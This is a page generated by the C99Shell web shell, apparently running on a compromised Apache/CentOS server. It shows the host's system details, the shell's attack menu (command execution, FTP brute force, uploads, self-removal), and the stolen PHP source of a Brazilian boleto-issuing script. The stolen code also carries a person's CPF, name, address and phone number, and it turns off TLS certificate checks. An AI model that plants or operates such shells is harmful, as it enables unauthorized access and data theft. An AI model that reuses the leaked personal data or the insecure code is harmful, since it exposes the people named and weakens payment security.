!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/admin/cobrancaRegistrada/includes/   drwxr-xr-x
Free 9.4 GB of 93.48 GB (10.06%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     inc_sicrediEmissaoWS.php (7.44 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
    
require_once 'HTTP/Request2.php';
    
//require_once '/var/www/vhosts/e-certidoes.com.br/httpdocs/admin/cobrancaRegistrada/includes/inc_retiraCaracteresEspeciaisTexto.php'; 
    
require_once 'inc_retiraCaracteresEspeciaisTexto.php'


    
// ########## DADOS DE TESTE ##########
        
$sqlC 
                    SELECT CTW_ChaveTransacao
                    FROM IRP_RegistroChaveTransacaoWS
                    WHERE CTW_AtivoSN = 'S' 
                "
;
        
$rs_queryC mysql_query($sqlC);
        
$rst_queryC mysql_fetch_array($rs_queryC);
        
$chaveTransacao $rst_queryC["CTW_ChaveTransacao"];
        
//echo $chaveTransacao;
        
        
        
$cpfCnpj     retiraCaracteresEspeciaisTexto($cpfCnpj);
        
$nome          substr(retiraCaracteresEspeciaisTexto($nome), 040);
        
$endereco      substr(retiraCaracteresEspeciaisTexto($endereco), 040);
        
$cidade         substr(retiraCaracteresEspeciaisTexto($cidade), 025);
        
$cep         retiraCaracteresEspeciaisTexto($cep);
        
$telefone     retiraCaracteresEspeciaisTexto($telefone);
        
$ano         date("Y");
        
$seuNumeroNN str_pad($seuNumero61STR_PAD_LEFT);
        
        
//$nossoNumero = calculaNossoNumero("$seuNumeroNN", "0751", "02", "$cedente", $ano);
//        echo "Cedente: $cedente <br>";
//        echo "nossoNumero: .$nossoNumero. <br><br>";
        
        
$conteudo = array(
            
'agencia'                => '0751',
            
'posto'                    => '02',
            
'cedente'                => "$cedente",
            
//'nossoNumero'            => "$nossoNumero",
            
'codigoPagador'            => '',
            
'tipoPessoa'             => "$tipoPessoa",

            
'cpfCnpj'                => "$cpfCnpj",
            
'nome'                    => "$nome",
            
'endereco'                => "$endereco",
            
'cidade'                => "$cidade",
            
'uf'                    => 'PR',
            
'cep'                    => "$cep"
            
'telefone'                => "$telefone",

/*        
            'cpfCnpj'                => '02421634911',
            'nome'                    => 'MARCIO RAPHAEL DE ARAUJO SANTOS NIGRO',
            'endereco'                => 'ALAMEDA JULIA DA COSTA, 2350',
            'endereco'                => 'RUA ANToNIO BAPTISTA DE SIQUEIRA 363SALA 01',
            'cidade'                => 'CURITIBA',
            'uf'                    => 'PR',
            'cep'                    => '80710150', 
            'telefone'                => '41 98434.0524',            
*/
    
            
'email'                    => 'contato@arpenpr.org.br',
            
'especieDocumento'        => 'A',
            
'codigoSacadorAvalista'    => '000',
             

            
'seuNumero'                => "$seuNumero",
            
'dataVencimento'        => "$dataVencimento",
            
'valor'                    => "$valor",

/*
            'seuNumero'                => '2',
            'dataVencimento'        => '10\07\2017',
            'valor'                    => '10.00',
*/


            
'tipoDesconto'            => 'A',
            
'valorDesconto1'        => '',
            
'dataDesconto1'            => '',
            
'valorDesconto2'        => '',
            
'dataDesconto2'            => '',
            
'valorDesconto3'        => '',
            
'dataDesconto3'            => '',
            
'tipoJuros'                => 'A',
            
'juros'                    => '0.00',
            
'multas'                => '',
            
'descontoAntecipado'    => '',
            
'informativo'            => 'NADA CONSTA'
            
'mensagem'                => "$mensagem",
            
'codigoMensagem'        => '',
        );
    
// ########## FIM DADOS DE TESTE ##########

     
echo "<pre>"print_r($conteudo); echo "</pre>";


    
// ########## SICREDI | EMISSAO ##########    
 
        
$request = new HTTP_Request2('https://cobrancaonline.sicredi.com.br/sicredi-cobranca-ws-ecomm-api/ecomm/v1/boleto/emissao');
        
$request->setMethod(HTTP_Request2::METHOD_POST);
 
        
$request->setConfig(
            array( 
                
'ssl_verify_peer'   => FALSE,
                
'ssl_verify_host'   => FALSE
            
)
        );
 
        
$request->setHeader(
            array( 
                
'token' => "$chaveTransacao",
                
'Content-Type' => 'application/json' 
            
)
        );
 
        
$request->setBody(json_encode($conteudo)); // com JSON
         
echo "<pre>"print_r($request); echo "</pre>";
 
        try {
            
$response $request->send();
            
$stringRetorno $response->getBody();
            echo 
"<pre>"print_r($response); echo "</pre>";
            
        } catch (
HttpException $ex){
            
            echo 
"<br><br> Retorno (erro): ";
            
var_dump($ex);
        }

        
$retorno_01 str_replace('}'''$stringRetorno);
        
$retorno_01 str_replace('{'''$retorno_01);
        
$retorno_01 str_replace(',"''#'$retorno_01);
        
$retorno_01 str_replace('"'''$retorno_01);    
        
$retorno_02 explode('#'$retorno_01);
    
        for(
$i=0$i<23$i++)
        {
            
$retorno_03 explode(':'$retorno_02[$i]);
            
            if (
$retorno_03[3])
            {
                
$retorno_04[$retorno_03[0]] = $retorno_03[2] . $retorno_03[3];
            }else{
                
$retorno_04[$retorno_03[0]] = $retorno_03[1];
            }
        }

        
        
// FORMATA A STRING DE RETORNO
        
$stringRetornoFormatada '';    
        foreach(
$retorno_04 as $nCampo => $valor
        {
            
$stringRetornoFormatada .= $nCampo ' => ' $valor "
"
;
        }

        echo 
"<pre>"print_r($retorno_04); "<pre>";
        if (
$retorno_04[nossoNumero])
        {
            
$situacaoBoleto 1;
            
$seuNumero        $retorno_04[seuNumero];
            
$nossoNumero      $retorno_04[nossoNumero];
            
$linhaDigitavel $retorno_04[linhaDigitavel];
            
        }else{
            
$codigo            $retorno_04[codigo];
            
            
// NOLETO JÁ REGISTRADO
            
if ($codigo == 20001)
            {
                
$situacaoBoleto 2;
            }else{    
                
$subject "NAO FOI POSSIVEL REGISTRAR O BOLETO: $seuNumero   ";
//                echo $subject;
                
                
$mailto  "oscar@roko.com.br";
                
$xheader "From: * ERRO | SISTEMA E-CERTIDOES * <oscar@roko.com.br> \n";
                
$xheader .= "Content-Type: text/html \n";
                
//$xheader .= "Bcc: cron.funarpen@netnigro.com.br\n";
                
$xheader .= "Return-Path: <oscar@roko.com.br>"."\n";
                
$xheader .= "X-Priority: 1\n"// Urgent message!
                
                
$sucesso mail("$mailto""$subject""$stringRetorno"$xheader);
            }
            
        }

    
// ########## FIM SICREDI | EMISSAO ##########    
?>



<?
/*
function calculaNossoNumero($sequenciaEnvio, $codigoAgencia, $posto, $benificiarioContaCorrente, $ano)
{
    $sequenciaEnvio = str_pad("$sequenciaEnvio", 5, "0", STR_PAD_LEFT); 
    
    $nossoNumero[] = substr($codigoAgencia, 0, 1);
    $nossoNumero[] = substr($codigoAgencia, 1, 1);
    $nossoNumero[] = substr($codigoAgencia, 2, 1);
    $nossoNumero[] = substr($codigoAgencia, 3, 1);
    
    $nossoNumero[] = substr($posto, 0, 1);
    $nossoNumero[] = substr($posto, 1, 1);
    
    $nossoNumero[] = substr($benificiarioContaCorrente, 0, 1);
    $nossoNumero[] = substr($benificiarioContaCorrente, 1, 1);
    $nossoNumero[] = substr($benificiarioContaCorrente, 2, 1);
    $nossoNumero[] = substr($benificiarioContaCorrente, 3, 1);
    $nossoNumero[] = substr($benificiarioContaCorrente, 4, 1);
    
    $nossoNumero[] = substr($ano, 2, 1);
    $nossoNumero[] = substr($ano, 3, 1);
    
    //$nossoNumero[] = "2"; 
    
    $nossoNumero[] = substr($sequenciaEnvio, 0, 1);
    $nossoNumero[] = substr($sequenciaEnvio, 1, 1);
    $nossoNumero[] = substr($sequenciaEnvio, 2, 1);
    $nossoNumero[] = substr($sequenciaEnvio, 3, 1);
    $nossoNumero[] = substr($sequenciaEnvio, 4, 1); 
    $nossoNumero[] = substr($sequenciaEnvio, 5, 1);
    
    //print_r($nossoNumero);
    
    $DVNossoNumero =     ($nossoNumero[0] * 4) +  ($nossoNumero[1] * 3)  + ($nossoNumero[2] * 2) +
                        ($nossoNumero[3] * 9) +  ($nossoNumero[4] * 8)  + ($nossoNumero[5] * 7) +
                        ($nossoNumero[6] * 6) +  ($nossoNumero[7] * 5)  + ($nossoNumero[8] * 4) +
                        ($nossoNumero[9] * 3) +  ($nossoNumero[10] * 2) +
                        ($nossoNumero[11] * 9) + ($nossoNumero[12] * 8) + ($nossoNumero[13] * 7) +
                        ($nossoNumero[14] * 6) + ($nossoNumero[15] * 5) + ($nossoNumero[16] * 4) +
                        ($nossoNumero[17] * 3) + ($nossoNumero[18] * 2);
    //echo $DVNossoNumero . "<br>";
    
    $restoDivisao = $DVNossoNumero % 11;
    
    $DVNossoNumero = 11 - $restoDivisao;
        
    if ($DVNossoNumero == 10 || $DVNossoNumero == 11)
    {
        $DVNossoNumero = 0;
    }
    //echo $DVNossoNumero . "<br><br>";
    
    //$nossoNumero = substr($ano, 2, 2) . "2" . $sequenciaEnvio . $DVNossoNumero;
    $nossoNumero = substr($ano, 2, 2) . $sequenciaEnvio . $DVNossoNumero;
    
    return($nossoNumero);
}
*/
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0044 ]--